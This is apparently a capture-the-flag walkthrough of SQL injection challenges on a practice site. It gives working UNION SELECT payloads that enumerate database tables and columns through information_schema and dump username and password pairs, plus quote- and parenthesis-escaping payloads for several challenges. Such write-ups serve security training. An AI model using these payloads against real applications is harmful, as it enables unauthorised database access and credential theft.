Sql Ninja Death row SQL injection (http://leettime.net/sqlninja.com)

What is death row SQL injection?
normally the table has many rows itself, so if we execute the usual SQL query ("select * from table") we can get all the records from that table. if a website has SQL injection vulnerability attacker also get all records from the database. the clever programmer uses limit keyword to hide unwanted rows from an attacker. let's assume programme use LIMIT 1 in his query attacker can see only 1 row of output at one time. hence it reduces the impact of the attack. so we called hide rows as death row.

death row SQL injection challenges from  http://leettime.net/sqlninja.com

challenge 1:
if we put a single quote at the end of the URL we will get an error. the below image shows that

when we try to exploit a SQL injection attack, our first step should be fixed the query. if we use this "-- -" at the URL  end, we can fix the query 

then we have to find the respected table's column by using "ORDER BY" command. if you have any issue with SQL injection steps please, check my previous post.

now we have to find out the vulnerable column form respective table.

the above image shows 2nd column says vulnerable.

now we need to find tables from the respective database by using this query "union+all+select+1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=database()-- -"

now select one of the tables from the database and find columns.
"UNION+SELECT+1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_name=char(117,115,101,114,115)-- -"

after finding the column, we can use this query and get the data from the database.
"UNION+SELECT+1,group_concat(username),3,4,5+from+(select+username+from+users+limit+0,100)a-- -"

group_concat display 1st 1024 character. if we use above method for a huge database, we have to spend more time. so we can use alternative query as well.
union SELECT 1,2,CAST(GROUP_CONCAT(username, 0x3a,password,0x0a) AS CHAR(2048)),4,5 FROM (SELECT username,password FROM users LIMIT 0,2000)a--

challenge 2:

Vulnerable Parameter – Server Request:
http://leettime.net/sqlninja.com/tasks/deathrow_ch2.php?id=1'

Server Response – Error On Page:
SQL Syntax Error around '))

Possible Pseudo Code:

SELECT * FROM table WHERE (ID=(1))
Why It Works – Server Request:

SELECT * FROM table WHERE (ID=(-1)) union select 1,version()--+-))

challenge 3:

Vulnerable Parameter – Server Request:
http://leettime.net/sqlninja.com/tasks/deathrow_ch3.php?id=1"

Server Response – Error On Page:
SQL Syntax Error around "1"" limit 1

Possible Pseudo Code:

1
SELECT * FROM table WHERE ID="1" limit 1
Why It Works – Server Request:

1
SELECT * FROM table WHERE ID="-1" union select 1,2,3,version(),5--+-" limit 1

challenge 4:

Vulnerable Parameter – Server Request:

http://leettime.net/sqlninja.com/tasks/deathrow_ch4.php?id=1"

Server Response – Error On Page:

SQL Syntax Error around "1")

Possible Pseudo Code:

1

SELECT * FROM table WHERE ID=("1")

Why It Works – Server Request:

1

SELECT * FROM table WHERE ID=("-1") union select 1,2,3,version(),5,6,7--+-")